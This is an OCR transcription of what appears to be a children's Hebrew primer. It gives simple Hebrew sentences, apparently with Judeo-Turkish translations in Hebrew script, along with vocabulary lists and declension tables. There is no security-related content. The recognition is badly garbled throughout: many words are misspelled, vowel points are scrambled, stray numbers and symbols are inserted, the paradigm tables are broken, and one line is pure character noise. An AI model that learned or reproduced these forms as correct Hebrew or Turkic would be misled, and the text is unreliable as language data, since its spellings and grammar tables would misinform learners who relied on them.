פאדשאהיג ' אונונדא אויינאיאן קיז בנים קיזקררשים דגיל דיר +" סיזל
צהראלריגיז ביזים צהראלרימיזדן איי דיר ; סיז ביזים: קדר כּפסיז דגיל
| סיגיז: בן תעלים אירמכד ואז גצרים, קיוקררשים דיכמכ דן ואז גצרי. יצחק!
| בו גונא קדר אויינאמק דן ואז צמדיג . | בוראדא דיפילמיש דירכלר
כימי3 דיר? אנלר מייבא דירכלרי דגיל דיר. אנלריג דמארלרי קורודי..
ביזים עומרומיז קאייגו וא זהמת דולו דיר . בו גג'א גורדוגים דושי כּים
יוראיא :ביליר + ביזים דירכלרימיז יישרמפדן ואז גלדילר דורדילר:.
דיכמב יירטמאק דן איי דיר. בו גיא כוכיג יילדיולרי בולוטוג' סבבינדן
מִפָּנִי הָענֶ) קרארדילר . קיזקרדשים! בנים ג'ובאמי דיכמייא וקת דיר.
הננו לומדים כל היום ואיננו: שוחקים כנערים הסכלים ההם. אתם
בטחים בעשרכם ואנחנו בוטחים באלהינו . אתם הבוטחים בעשרכם
ואנחנו הבוטחים באלהים . שרה ורבקה עצלות מאד ואינן רוחצות את
פניהן . הנך רוחצת את פניך . הגנו רוחצים את פנינו . הנכם אהבים
את יהוה מנעוריכם ושמרים את דבריו הקדושים . אחותי : הנך אוהבת
את יהוה מנעוריף ושמרת את דבריו הקדושים . תלמידי: האתם הצעקים
בחוץ.הנערים האלה הם הצעקים ולא אנחנו .. אחותי איגנה חכמה כמוף..
אחותי איננה בבית . . סוסינו אסורים בעגלה הכברה אשר.. לאבי. כל
פתחי הבית הוה סגורים . עת פָגר את הפתהים. עת פתוח את הפתחים
הסגורים . עֶת לסגר את הפתחים. עת לעזר את העניים האלה : עת
לעזב את פשעינו הרבים והרעים . העשיר הוה חדל לעזר את העניים
(חלק ראשון) 13
6 לרגל היכדים
בָּשְמוע יָצַחק אֶת קול דודו ופפ לו את יצחק אקאסיניג ססיני אשיטריני גיבי אנא
תַאָּלֶת ". קאפויו אצרי .
חק הָיָה שוחק בחוץ בִּקֶרא משה אֶת משה בו פחאלי כּתאבי אוקורוקרא וצחק ,
הַפְּפָר היקר חַזֶה. סוקאקרא אויינאר אירי . |
וצחק למר לְפָנִי הַמְלַמָר בַּעְחק משֶה = משה טנבל. צוג'וקלר אילן סוקאק רא |
בְּרְחוּב אֶת הנִעָרִים הְעַצָלִים . אויינא דיקרא יצחק מועללימיג אונונדא |
תעלים אירר אידי .
אַמֶּם פּתְחִים אֶת הַדִּלֶת . סיו קאפויי אצאייר סיניו .
אַתֶּם הַפַּחְחִים אֶת הַדָּלֶת . קאפויי אצאן סיו סיניו .
אַתָּה כּתְב וְאַפֶּ חסֶם . סן יאזייר סין וא סן מוחורלייר סון .
אַתֶּה הַכּתָב ושִפָּה הַמ . יאזן סן סין וא. מוחורליין סן סין (יאון דא. |
סן , מוחורליין דא ס)) .
אַמֶּם שחקיס ואָנְחנוּ למרים . סיו אויינאייר סיגיו, בּיז תעלים אידייר איו.. |
אַתֶּם השחקים וַאָנְחנוּ הַלוּמָרִים . אויינאיאנלר סיו סיניז ,4 תעלים אירנלר
ביו איו.
רְאִיחִי אֶת הַפֶּסְחִים וְהִנָּס פָּתוּתִים . קאפולרי גורדים , וא אושטא אנלר אציק
דור (אורי) .
חלְמִירִי ! הנכס אֶהוּבִים לאלקים מָאר . = תלמירלרים ! אושטא "סיו אללהא פּכּ
כִּי למָרִים אַפֶּם אֶת דִּבְרִיוהַקושִים . | סוגילי סיניו , זירא אני עזי כּלאמל- |
ריני תעלים אידייר סוניז .
הְאגרֶת הואת הַנָהּ מָתוּמָה על כָּן רְבֶקֶה = בו מכּתוב--אושטא או מוחורלו דיר וא
אִנְנָה יְכּלֶה לקרא אותהּ אניג איצון רבקה אני אוקומאיא קאריר |
דניל דיר .
אֶלָה הֶרְשָעִים הַמאָסִים אֶת דַבַר יְהוָה . הַתְִמִירִים ההולְכִים אֶת
חַכָמִים יַחִבָּמוּ . אַחותִי הַלמרֶת. לקרא ולבתב אִנְגָה ט לה כָּבַת הַנָּשִיא. ,
מרִים ושְָרָה השוחקות כָּל הַיום אִינן לומָדות מאוּמָה . הַעמקים הַפורְחִים |
9 כַלְאִים ציצים וְכָל עץ טוב . שרשי הָעץ הזה יבשוּ . הָעץ הוה |
זקן ושרשיו יבשו . אֶחִי + איך תלבט אֶת בְגְדָיך וְהִנֶם קרועים + הָעָנִי
בָּא לפני | הַנָשִיא עָלִיו בְּנָדִים קרועים . השרָשים הַיכשִים ער עוּלֶם לא |
יפרו תלְמִידִי ! טָצָלי ים אַתֶּם; הִגָּכֶם שוחָקִים ורקדים כָּל הַים וְאִינְכָם .
5 מדים מאוּמָה .. העצים האלה זְקנוּ מאד וְשרְשִהֶם יָבשוּ . העץ הַזֶה |
אינְוּ עץ פָרִי. עצי הנן אֶשֶר לְאָבִי אס גְבוהים כַּעָצִי הנן הַזֶה. בַתִּי!.
מדוע אנ אוכְלָת לְתֶס הַיום+ מדוע אינך לוּמְרֶת מְאוּמָה. מדוע תָאָרְכֶם .
לרגל הילדים 955
אָנֶה הַלְכוּ הנָעָרִים השמריםאת אַהַלכם?
אֶהָלִיכֶם רְחָכִים מַאֶקָלינוּ' .
החדש הזה לָכֶם ראש חִרָשִים .
השך משחור תִּאֶרם .
מַדוע אנ אבָל לָחֶם הַיום ?
המער אִנָנּ אַפּי , וְָנָה חֶלֶף יי יורַע.
אַיָה הַגּורִים ? הֶנֶם יוּשָבִים ְּאֶהָלִיהֶם.
ייסף אַנָוּ ושסען אינו -
טוב למור מַרְקר .
טוב בְּטוח בִּיהוָה מִבְּטוּח בָּאָרֶם ,
עַת לָמד עעֶת רְקר .
עֶת לְלָמר ות לרק .
עַת קרא וְעֶת כב .
עַת לקרא וְעַת לבב .
עַת קרוע ועֶת הפר .
עח לקרוע תת לַתְּפר .
עַת לְכָחב את הִמְכְמְּבִים .
עת לתפר אֶת מעילי הַמָשִי .
אֶחִי לא הָיָה בַּבת בְּכְתב אָבִי. אֶת
---
בתכ אָבִי אֶת מִבְפְביו שָלח אהֶם אֶל
עו אָשֶר בִּירוּשָלֶם.
סוזיג צאריריניוי = סאקלייאן אושאקלר
נראואייניטרי ?
סיזיג צאדירלריניו ביזים צאדירלרימיורן
כּניש דיר .
בו עאיי סיוא עאיילריג באשי (אוולכי עאיי)
דור .
אנלרינ צהרא לרי פומור דן זיירא קרארדי .
נא איצון בוגון אכמכ יומייר סון ?
אושאק בראברימרא יוקדיר , וא נראיא
ניטדי בילמיור אים.
ביוכ קיוקררשימיג ססיני אשיטמייר מי
סיניו ?
ג'בבארלר נרדא דיר ? -- אושטא אנלר
וני צאדירלרינדא אוטורוייר לר .
יוסף יוק דיר ושמעון יוק דיר .
אוגרנמכ (תעלים אידמכ) אויינאמק דן איי
דיר .
רבכא אישאנמק אדמא אושאנמק | דן
אי דיר .
העלים אירמפ וקתי וא אויונאמק וקתי
(ואר) .
העלים אודמאיא וקת וא אויינא מאיא וקת
(ואר) .
אוקומאק וקתי וא יאזמק וקתי (יאר) .
אוקומאיא וקת וא יאזמאיא וקת (ואר) .
יירטמאק וקתי וא דיכּמפ וקתי (ואר) .
יירטמאיא וקת וא דיכאמאיא וקת (ואר).
מכתובלרי יאזמא יא וקת דיר .
איפכ ג'ובאלרי ריכּמאיא וקת דיר .
בּּאם מפתובלריני יאזרינינדא קררשים
אברדא דניל אירי .
בּבאם מכתובלריני יאזריני אנלרי
ורושלם דא אולאן רוסטללרינא יוללארי.
ניבי
4
שרש , מעלא) ז
טמאר . דמאר ;
האר : תזצ ב') זי ,
ציראיי , צהרא ,
נַדר, (4? ר') ז',אִינייַת.
עמק , כל ך') אָנִיש .
דְרָא .
נזר, (תס ך') ז', טאג'י
ציצב .
שחר , 0 . פמור .
געל , תנע נ') ז' . אַטִיכּ,
לרגל הילדים
פתו , (יִפַתר). יוראדי .
קד , (יחקר) אראדי .
חש (יחשָךָ), קרארר,
כראגליק. אולדו .
חַדל : (יִחַדל) ואז נצרי,
חָרַל לכב , יאזמא
דן ואז נצדי..
הרל מפי . פלי דן ואז
שָחק, (ישחק). מוּלרי
אויונא די ,
לְמַר, (ילמר למד)
אונרנדי, תעלים איטדיי
רקר (יִרְקו ד) סכיררי,
אויינאדי .
עֶץ, כס' עַץ)רזדד) אגאץ.
, וָקת, (ועקיט) .
צִיזְמָא .
מִי הָאִיש הַשוּבָב בָּאחָל הַוָה ?
אי אאהָב אֶת אַחוּמִי הַפַרֶת לי מְעִילִי
מָשִי .
סְבָלִים ולא חָכָמִים הָעָשירִים הבוטְחִים
ָעשָרֶם .
הַנָעָרִים הֶרוקדים כָּל היום לא ילְמָדו
חַכְמָה וּמוּסָר .
אֶחוּתִי ! הַנְךּ שחִקֶת כָּל היום וּמָתִי
הּלְמָרִי חַכָמַה ומוסר ?
הַנְגִי ּפַרֶת מָעיל. יַפָּה. לְאחִי וְאִננִי
שחקת כָּל הַיוּם כְּאֶשָר אָמָרָת
הַשָפְחָה הִַמָצָרִית וְהְאָמָה הָעַבְרְיָה
הַאוּרְגוּת רְרִירִי מָשִי עניוּת מאר .
ינקת ְְעָמָה השומָרוּת. אֶת תכית
יָשָרוּת 2
תי ַצֶך פה מִאַר
רְבְקה
אֶהָלִי הנשיאים הָאלָה קְרוּבִים לָאהְלִינו.
נצדי, פלי ני קו וירדי.
מִפָּנ אוגונדן , סבבינדן.
בו צאריר רא יאטן אדם כִּים דיר .
ּן בנא איפכ ג'ובאלר ריכן קיוקרדשימי
סווויר אים . --
גנדי זננינליכלרינא אישאנן זננינלר ג'היל
יר . עקללי דניל דיר .
בּוטון נון | סכירן (אויינאיאן) צוג'וקלר
חכמה וא טַרְכָּ ארב אגרנמו לר .
קיזקרדשים ! סן אושטא בוטון נּואויינאייר
סין , חצאן חכמה וטרכ אדב אוגרנג'כ
סין ?
אושטא כּן קררשימא ביר דילבר ג'ובא
דיכייר אים , וא סני דדינינ גיב
בזטון גון אויינא מאויר אים .
איפכ בורונג'יפ דוקוייאן מסרלי קראבאש
וא ישראל חלאייק פַּכ פוקרא דיר .
אבי סאקליאן דאיא וא חלאייק פַ3ּ דונרו
א
קיזקררשים ! סניג צהר3 = רבקה ניג
צהרסונרן דולבר דיר .
כו אנאלרינ צארירלרי ביוים צאדירלרי-
מיזא יאקין דיר .
לרגל הילרים 3
בָּתַב , כְּתוּב ,| כְּתוּבָה, = יאזלמש.
כְּתוּבִים , כתוָבות , יאזילמישלר.
פַּתַח, פּתוּחַ ,| פֶּתוְחָה , = אצילמיש.
פֶּתוּחִים .: פתוחות , אצילמיש לר.
אֶהַב ' אֶהוּב , אהוּבָה , סווילמיש .
אַהוּבִים , אֶהובות , סווילמיש לר .
בָּב , כַּתב , * יאזמק . יאזמאיא ,
בַּכתב , יאודיק דא :
ַּכַתב , "יאזמק 5, יאזריני גובי ן
לכתב , = יאזמאיא, יאזמק איצון .
מַכָּתב , יאזמק דן, יאזמא דן.
עמד . עמר , הרטאק., | בעמר , בָּעמר . לעמד . מעמר
אָחוב, אַהב , סוומָ . ְּאֶהב , כָּאָהב , לאֶהב , - :
שמץ, שמנן, אששמג . = בשמע, כָשְמַע, לשֶמט, משְמָע,
חתם, חתם, מל לסכ. | בַּחתם , כַּחתם, לְתִתּם , מַחֶתם ,
הַנְךָ בּמָח בְּהונ , אושטא סן מאליגא אישאניגיי סין , אושטא סן מאליגא
אישא נייר סין .
הֶנְנִי בּמָחַ כִּיהוֶה, אושטא בּן רבבא אישאניניי אים, אושטא כן רבּבא
אישאנייר אים .
הנה במחת בְּשָכְלְּ אושטא או עקלינא אישאנייר .
הִנָכֶם בּמְחִים באלחים , אושטא סיז אללהא אושאנייר סיגיז ,
אִינני בטח בְּשָכָלי | בן עקלימא אישאנינ'י דניל. אים + :בן = עקלימא
אישאנמייר אים .
בנ אִינְנוּ כּתב אֶם ספרן , אוגלוס פּתאביני. יאזמייר .
אינכֶם שמעים את שירִי , סיז בּגים טורכו לרימי אשיטמיירסיניז .
אַחוּתִי אִינְנָה תפרת את מעילי , קיזקררשים ג'ובּאמי דיכמייר .
עשר (ע1\ א) ד עִמַל , כ א') 1 אמכ , נָדֶר , איניית איטרי,
לת י ְהְמַת . פְּרַח, (ִַפְרֶה) ציצכלרי
חדָש , (ננצ א') די יְנון, 10 א ) ז', קאניגו. ציצכ אצרי.
עאיי, עאיי באשי, קסוות +
9 לרגל הילדים
שם יהיר שם רבים
נפרר | פעל, איש. לי
פַּעַלִי אֶדֶם .
ב
א
(ע'\ ) אהל , צאריר ; אהַל יצחק. אֶהָלִי; אְהלך , אִהְלַך: אלו . אֶהָלָהּ;
ֶחָָנו אֶַלְֶם. אֶהַלְכֶן : אֶהָקֶם . אֶהָלֶן + = אהָלִים ; אֶהָרִי
דורי ; | אחלי + אהָליף:. אחליך + אהליו ; אהָלְיה + אִחָלִינוּ,
אהליכם . אֶהָליכן | > אְֶלִיהָם חס . אֶתָלִיתן .
(חצ\ ר') עָנִי, עני:פוקראליכ , מו + ענִי חי ענ + ענו + ענ : ענ
עניה ; יניכס ניָן: ו
הנה , אאשטא, הננ , אאשטא בן, הִנָךָ, הנך, אושטא סן, הנהו הנ הַנָהָ '
הנה ל או. הַנְנוּ , אושטא ביז, הַנְכֶם , הִנְכֶן , אושטא טיז. הנָם,
הנ , אושטא אנלר 7
אין . אין ר יוקדיר, רגיל - אִנני , יוק אים . דגיל אים > | א 7, אִינַך ; אינט ,
אנְנֶה ; אינו כו חילאיו; אְִכֶם , אינכן + אינס. ןי
לרגל הילדים 91
אללהא סאדיקאנא חיזמת איטדי. אללהא אישאניגין עקבה יאשליניניז
דן אחתייארליגיגיזא קדר .
8% 4.
מ הָאִיש הַחָפֶַץ חיים ? דירליב איסטייאן כישי כּים דיר ??
וָה הַעְשיר הבוטח בְּהונו : מאלינא אישאנאן זנגין בו דיר ָ
מו האשה הַעמָרֶת שם ָ?ּ אורא דא דוראן קרי כים דיר ?
גדוּלִים הנשיאים היושבים פה בורארא איטוראן אנאלר ביכ דיר .
יפות הלות הַהולכות כּנן \ | בחצא ראגזן גלינלר דילבר דיר .
ח\ א | שם יחיר שם רבים
נפרר קדרש, עזיזליב, קוּרֶס קדָשִים / קִדָשים
נסמף | קרֶש יְהוָה קִרְשי יְהָה
לזכר | לנקבה לזכר לנקבה
בן|פ. |קש |קש.קש |קש,קש
3 | דש |פשר | מקלטה | | סש
6 ( | דש | קְשָה | קדקלטי = | קהמדשיה
₪ | | קדשנו | | קַדְשָנוּ = | קדיקדשינו קִדיְקַדְשינו
3 | | קלס \ | קדשכן קְדְשיכֶם קדשיכֶן
6 קדשם קדשן | קדשיהָם קדשיהן
00 לרגל הילדים
מקול זעמף :תן לעני מלחמך : המלא הגביע אשר לפני דודי אם ריק ? כני;
חייך יקרים לי מחיי.חיי יקרים לאמי מחייה. אחותי! חייך טובים מחיי רחמה
רבים יהוה. שרה ! המלאים הגביעים אשר לפניך אם ריקים +חיי העבר הזה
טובים מחיי נשיאים ומשנים . בני: אהב את הי מנעוריך, כי הוא חייך.
מדוע נפלו פני עבדף . למה נפלו פניף. בני: אהבו את יהוה. מנעוריכם
ואת דבריו הקדושים שמרו. אתם הלכים את חכמים ואתם תחכמו .
אלהי מי יעמד לפני. זעמך ז מלכנו עשה את כל חפצינו אשר שאלנו
ממנו . חַיי רעים מחיי עבר עולם . חיי השפחה הזאת טובים מחיי
הגברת ההיא. שרה ורבקה עמדות לפני המלמד . חיינו עברים כצל .
רבקה שומעת את = דודה . שרה ורבקה רחצות את פניהן . עד מתי
את פניכם לא תרחצו
בּבּאם וא אנאם ! /- סיזיג דירליגיניו גנדי דירליגימדן פחאלי דיר .
רבּבּי אללהים ! דירליגיטי כור איטדים זירא או גונאחלר דולו דיר .
אללהימיז: דירליגימיזי כור איטדיכ זירא אנלר ביוכ גונאחלר דולו דיר.
אולום! נא איצון צהרג סולדו (יוזול דושרו)? אודאם רן פחאלי כתאבלרימי
צאלדילר . פחאלי כתאבלריגי כּים צאלדי + סגא או אוראלרי כּים יאפדי ?+
סני אודאלריג ביזים אגאמיזיג אודאלרינדן כפגיש וא אוכסכ דיר + סיזיג
כתאבלריגיז עקל וא חכמה פוזלרי דולו דיר . שרה? בוגון סניג יוזוג פפ
שן גאי דיר . תלמידלדים ו צהראגיז נא איצון סולדו ? בו יראמו פשאלר
ניחק קאן דופויירלר . תלמידיג מכתובלריני יאזמאיא איסטייר מי יוקסא
דגיל מי ? -- | ורבקה סיזא איפכ ג'ובאלר דיכמאיא איסטיירלר מי יוקסא
דגיל מי+ בנים תלמידלרים פני: פחאלי כתאבלריגי אוקומאיא איסטייר .
אנלר ביזים ם פתאכלרימיז אוקומאיא קאדיר אולויירלר ,
א קרדשים! בו גנא סניג ציצבלריג קורודי. מי יוקסא דגיל מי .
ג'ומלא ציצכקרים קורורילר . אנאם אביג ג'ומלא קאפולריני
ל טירייר . צול ציצכלרי בחצא ציצכלרינדן איי דיר . שרה ורבקה + סיזל
ווזוגיז מליכּה ניג יוזונדן דילבּר דיר . דוסג טלרפ יי דאר גונדא בוראקמא
יאסיו , שמואל ויצחק בו אגיר אראבא יא אטלריני ייכמסינלר . זנגינלר
פוקרא לרי. אונוטמאסינלר . שרה ורבקה ביזא איפכ בורונגייכלר
אורמסינלר (דוקומסינלר) . שרה ורבקה ! גזכוג יילדיזקריני סאייגיז אגר
אליניזדן גלירסא (אגר קאדיר אולורסגי) . תלמידלרים ! רבּבּיג אוגוטיני
כור אידמיסיו , ְבִין . אי אוגלום , יאשלינינדא . רבקה אללהא
יאשליגינדן ברי חיזמת אידייר . = אנאם יאשלינינרן קרטליגינא קדר
לרגל הילדים 99"
על האֶרִץ. נעורי בל עְבָרוּ + עברו פַצָל נְערְיך . נְעוּרִיו כַּצל יְעכָרוּ :
למָה לא שָלַתִתּ לִי אֶת נערֶף :
בבאמיג קוללרי. בוגון בוואבלריג יסויאג'ק לר (בוכאזלאייג'ק לר ),
אנלה בוזאבלריני בוגאזלייר לר . סיזיג בוזאביגיזיג אָטי אקאמיג בוזאביניג
אטינדן דאטלי דיר . סיזיג. סורובלריגיז (נקכת) ביזים סורובלרימיזרן צוק
רִיר... סנ צובוגיג בּנים צובוקלרימדן אוזון. דיר . בן כניג לול
ססיני אשיטמדים . קיזקררשים ! סניג טל ססי ביזים לאווטלרימיזיג
ססינדן.דאטלי. דיר (ָעְרָבּ , ביזים גונאחלרימיז סניג גונאחלריגדן צוק
דיר . פנים. גונאחים סניג גונאחיג דן בּיוכ דיר . בּנים אושאגים סניג
אושאגיג דן זייר דיר . קיזקרדשים : נא. איצון בּכּאם סניג מוראדלריגי
איטמדי ? בּנים יארדימים וא אישאנצים אללהים ו דיר . בּו פאקיר חלאייק
ביורן. אמכ דילייר, או (נק+ פכ פאקיר דיר וא אגא יארדים אידיג'י יוק
דיר, אניג 2 יארדימי וא אישאנצי אללהי דיר .. קיזקרדשים פוקרא
לרא. יארְדים אידייר . בו טנבל צוג'וקלר מועללימלריניג סוזלריני כור
איהיירלך-, בו יראמז צוניוקלר ביזים אֶרְמאלרימיזי דוטופ אלייר לר
כוולומליירלר) . שרה ורבקה נארליני ייָר לר .
בּן אללהימדן עקל וא חכמה איסטייר אים . קיזקרדשים ! סן אללהיגדן
נא 2 סין + שמואל ויצחק: סיז בנדן נא דילייר סיגיזז סן נא יר מז זְּ
בוזאב אָטימי אוגוז אטימי ? 0% סנדן אוגוטיני אג'ייר.. בו צוג'וגיג
אַנאסי אנדן אוגוטיני אג'ייר . בּנים. יאשליגים גולגא גיבּי נצייר. שרה !
סניג יאשליגיג נולגא גיבי גצייר . ג'נכ ססינדן ייר דיטרדי. ג'נפּ פסינדן
ייר . דיטרייר , או אגיר ג'נכיג ססינדן דאגלר דיטרדילר. ג'נכּיג ססיגדן
וא שמאטאפינדן דאגלר דיטרייר. בּיז אללהמיזא סאדיקאנא (דוגרוליק
אילן) חיזמת אידייר איז , אנלר <ק+ אללהא סאדיקאנא חיזמת אידיירלר .
סן בו קאפויי נא איצון אצייר סין+ קיז קררשים קאפויי אצייר, שרה
ורבקה קאפויי באסטריירלר . שרה ורבקה ! רב אללהיגיזא אישאניגיז וא
ב - אללהוגיז = סיזיג יארדימיגיזי יוללאר , אללהיגיזי בוראקמאיאסיז וא
אללהוגיז בוראקמאז פיזי, שרהורבקה:אללהיגיזא חיזמת אידיגיז ואאללהיגיז
סיזא. יארדים אידה. תלמידלרים : בנים ג'שוואבּקרימי כור אידמאייאסיו .
פוקראלרי וא אוכסיזלרי זולומלמאיאסיז . שרה ורבקה קאפויו ּאסטיריגיז
וא. אצמאגיז+ ביז אללהא סאדיקאנא חיזמת אידמייא איסטייר איז .
היום בא לפני איש עני שאל ממני קחם ובשר. התעמר לפני
מלכנו, אלהי! מי יעמד לפניך זּ מקול זעמך הרים רעשו : הרים רעשו
(חלק ראשון) 15
88 לרגל. הילרים
הָחָכֶם הַזֶה. שָלַח לאבי את ספָריו ממ חכם - בכאמא פחאלי כתאכלריף
היקרִים . יוללארי . |
מִתלְמִירִיבֶם שַכֶט מוסְרְכֶם אל פִּמְנְעוּ. תלמירלריניו = רן | אעוט = צובונינווי |
העְכָר בָּא לפָנִי המָלַף וישאל מפַּנו כְּרֶם אג'ימאיאסיו . |
ושָרָה וְהַטָלַף עָשָה לו אֶת חָפְצּ = קול פארשאהיג אוננא. נלרי וא אנרן
אשֶר שָאל.: ביר בא וא ביר טַרְלא אוסטרי וא |
פאדשאה אנא אנינ דילדיני גיכּי איטרי .
לִפָנִים הָאָרֶץ יסד : אוול דן יירי טַמָל איטרין .
דורי קרא לפנ" הַמ אֶת ספָרו אָשָר = אקאם | פאדשאהין אנונדא יאזריני
ָּחֶב ; כּתאביני אוקודי. .
מִי. שָם לפ ִיכֶם אֶת הַפָּרחִים הָאָיָה ?= סייג אוגוגיוא בו ציצכלרי כּים- קורו .
המל שלמה בְּנָה בִּיהוָּלם בִַּת דול לאלהים . אין כָּאלתַיגוּ מָלְךָ
אַדִּיר ג - הוא. אלהים. חיים מל עולֶס מקצפו תרעש הָאָרֶץ,. לפני
זַעמו מוועמה+ מוב. יִהוָה. לכל ורְחמִיו רבּים מאר.. וספ ָיָה ב נָקנִים
לישֶקב אַחותִי: סְפרִי את הַכּכבִים אִם תוּבָלִי. דורי יושָב על הַבְּסָא
עברו שם פַפַגֶיו גָּבִיע ין כְָלָא, הלי ה כָּל פרְחִי אחותי בשו . דִּים אל
תנְזלוּ ִּי דַלִים הס . עניים ויתומים. אל תעבו . בְּשָבְלְכֶם וּבְהונָכֶם אל
תּבְמָחוּ. .: שָרֶה יַלְדֶה לְאבְרְהֶם. בַּן לקי > אֶחִי: מִי הַבִיא לפָניה אֶת
הַפִּלָמִיר הָעצ צַל הזה + אַחותִי: מִי קְרָא לְפְנִיך אֶת הַפפֶר היָקר הַזָה+ דורי
שם לְפָּנִי אָגוִים ותפוחַים שָרֶה רבקה ג: מה אתן. תבות לפנ דוְבֶן?
אַחותִי : הַלדודִי אָם לאָבי אַתָ ג תּפרֶת אֶת הַמָעִיל הַזָה? הַבָאלְהִים אַת
בשחת אִם בְּממנַיִך+ אֶנָה ברחת הַשְפְחָה הַמִּצְרִית + אַנַחַנוּ אחָבִים את
יְהוָה . הוא נתן לנו + אֶת ָּל חַפַצִינוּ.
היכלים אִתֶּם לס פר אֶת בּּכָבִי הַשָמִים ? אָנְהָ נוּ הַפְצִים לְאָכל אֶת
הָאָגוזִים וְהַפַפוּחִים אֶשֶר לְפָננוּ. שָרֶה רבקה :. היכלות אַתִּן לתפר לִי
מעילי מָשי ּמָעִיל אֶשֶר לי -ן מִי שם אֶת צִמִידִי הזֶּהָב. הָאֶלָה על
זרועי - אָנִי בד אֶת יהוָה מִנעוָרי עד הי חַזֶה. משה וּשמואָל: פַּרִיכֶם
קדושים מְלְאִים דַּבְרִי אֶלְהִים חיים . אָנְחַנוּ בּוּצְרִים אֶת כַּרְמִינוּ. שָרָה
מקה וצרת אֶת כִּרְמִיחֶן > רַחָמִי הָאִיש האָה רַבִּים מָאד. הוא נוּתָן
מלהמי -% אַחוְתִי נִמֶנֶת. מל מה קנער הענ י הוה . מִי שמָר אֶת
עַדְרִיכֶם על פָנִי הַשְרָהיּנַעְרִינוּ הַחרוּצִים הָאֶלָה שומרים אֶת עדָרִינוּ .
הֶעֶנִיִּים ָאֶלָה מְרִים אֶת ענְלִיחֶם. רינו חַלְפוּבַּצ. חַיי הָאָדֶם קְצָרִים
3 7 מ/*%%ּ ּ ּ'נ'צמ2ב7-כ0020הִּּ---//-/-]/]=]/-3[=-/ש 777777 ב ו ו ו הי
אֶתִי ישב: בַּבַּּת (כהב מָכְהּבים >"
שָרָה וְרבְקֶה הפרות בְנֶך רים - 009
אַנְחְנוּ טְחִים ַּאַלְהִי נוּ: וָאַתּם בטחים
םוק :
יַצָחָק ! מה אה כב היום ?
רבקה ! לֶמִי אַף תפָרַת: אֶת הַמְעיל
הוח 1.
אָרוּרִים הֶרְשָעים כִּי הֶם
בְּהונֶם .
שֶרְוְרְבְקה! לְמִי שמ ארְגות אֶת רְרִיר
הַמָשִי הוה ?
הלף אֶת חִכָמִים יָחפּם :
שָמַע אַתָה בְּנִי מכ :
משָה וְְָּחָק ! הלכו אל תעמדו .
ער מִָּי עַָלִים שבכו .
שְָהוְרְבְקה | מחי מִפַּשָעיכן ִטְְנָה :
בּטְחִים
אס , אחוּחי, איהה מו :
רבְקה ! לְמָה נִפָלוּ פָניף ?
" :ל ד ד דן: דד
אהי חָמול על עבר כִּי רפִים פע :
הכוטח אַתָּה בַּשָכל.ף
| הַחְכֶם הִוָה כָּתָב ו 9 הִבִּים .
| פּנִי הרו טובִים היו .
| על פָנִי השְָה. רָאותִי. קיום : עָרִָים
רְבִּים .
הפלף עִשַהאֶת כְּל חִפְצִי ָשָר שְאָלְִי:
| הִתִמְבְּרוּ את עְִלִיכֶם אִם לא ?
| הפפרים הְאלָה מְלִַים רְבְרי חְבָמָה .
הילרים 7
קרדשים אָברא אוטורוייר וא מכתובלר
יאוייר .
שרה ורבקה פהאלו 5 הוכיירלר .
ביו אללהימוא אישאנייר איו , סוו ומיד
שיניזא וא אלטוניניזא אישאנייר סיניז.
יצחק ! סן בוגון נא יאזייר סין ?
רבקה ! סן בּו ג'ובאיי ּימא ריכייר סין ?
יראמזלר קרנישלי ריר = זירא אנלר
מאללרינא אישאנייר לר .
שרה ורבקה ! סיו כּימא בו איפכ מזרונ-
ג'וני רוקוויר סיניו ?
עקללי לר אילן גזן עקללי אולור .
סן , אונלום , אשיט וא עקללי אול .
משה ויצחק ! גיריניו, דורמאניו .
אי טנבל לר ! חצאנא קרר יאטר סיניו ?
שרה ורבקה ! גונאחלריניו דן חצאן פאכפל-
ניר-סונון %
סן , קיזקררשים , אללהא יאשליניג רן
בּרי חיזמת איטרין . |
רבקה ! יוזונ נא איצון רושדי (נא איצון
צהרנ סולרו) ?
אללהים ! קולוני אג'י זורא גונאחלרים
צוק דיר .
סן עקלינא אישאנייר מי סין ?
בו חכם צוק אוגוט כּתאבלרי יאזרי ,
אקאמינ יוזו בוגון איי (שן) דיר .
צולונ יוזו אוורינדא (צול דא) בוגון : צוק
סורובלר. גוררים ,
פּארשאה הר איסטריגי מוראדלרומי
איטרי.
בוזאב לריניוי סאטג'ק מי סיניו יוקסא יוק?
בו כּתאבלר חכמ ג'וואכּלרי. דולו דיר-.
6
חִפֶץ, (על ה'). דיל ,
מוראר .
פשע , ענט ב') ז', נונאח.
פֶַּח, (זש ב')1. ציצַּ ,
פָּחַח, (ע + ב') ז', קאפו .
לרגל. הילרום
רחמים , 62 זי מִרהַמַּ .
חי , )21 ררל .
עוּמֶךְ .
פָּנִים , (11) ו לְפנִי
משה , "משת ניג
אנונא + משה ל
אונונדא, משה. הן
עִּלם ,| (11) יויא,.
, עומרליב , אַבְּריליב. ,
לעולם, אַבַּרן . מָלַךְּ
עולֶם. אַבָּרִי פארשאה .
חי (חַיָה , חיים , חַיות)
דירי., קים .
ל זל זולומלדי .
קצְף , (תץ ב') יז אצוב . אוול . מְפָנִים ים, הי
- 7 > קלף; (ל)גצרי שרי
ועם , (:ני)ז',:קְהָר. צַל ו ו / רעש , (ירעש) דיטררי .
בְּטְחוּ בַּיהוָה וְהוּא יָשָלַח עוּרְכֶס .
הוה אַלְהִינוּ הרְחָמִים .
מִי הוה מֶלְך מָלָא רְמָמִים ז
ְּוף יהוֶה אֶלמי ישרְאֶל מִהָעלֶ וער
העַלֶם .
ןרול בּאלהינוּ; כִּי הו אלהים חיים
ּמְלָךָ עַלֶם . |
באלהי בְַּמְפִּי כִּי ַחָמָיוּ בִּים מָאד
יְהזָה אֶלְהִיכֶם הוא. אַלהי הָאֶלְהִים..
אֶחִי ! לִמָה פָּנִיף רְעִים היום .
שרה ז ורבְקח! מ פָנִיכָן רְעִים היום [
חיינ קִצָרִים וענו כַּצל יְחלפו ;
יְהוֶה אחב יָתומִים וְדְלִים .
אָנִי שמע קול דורי וָאָבי .
אַחוּתִי שמָרֶת אֶת הבית .
כּן אקאמי: וא
רבבא אישאניניז וא או יארדימיניזי יוללאר
מרחמת אללהומיו רבינ דור .
אללה גיבּי מרחמת -דולו פאדשאה כּים
דיה 1 קש .
ישראלינ אללהי רכ רוניא דן דוניא יא
קהר מִכְטוּבָלִי ריר (מַכְטּכְלִי אולא) .
אללהימין גיי בְּיוב יוק דיר , זירא או קים
אללה וא אַבָרי פארשאה דיר .
בן אללהימא אישַנְדים זירא אנינ מרחמתי
כ צוק דיר .
רב אללהיגוז--או אללהלריג אללהי דיר.
קררשים ! בּוגון יוזוג גא איצון פָּנָא דיר ?
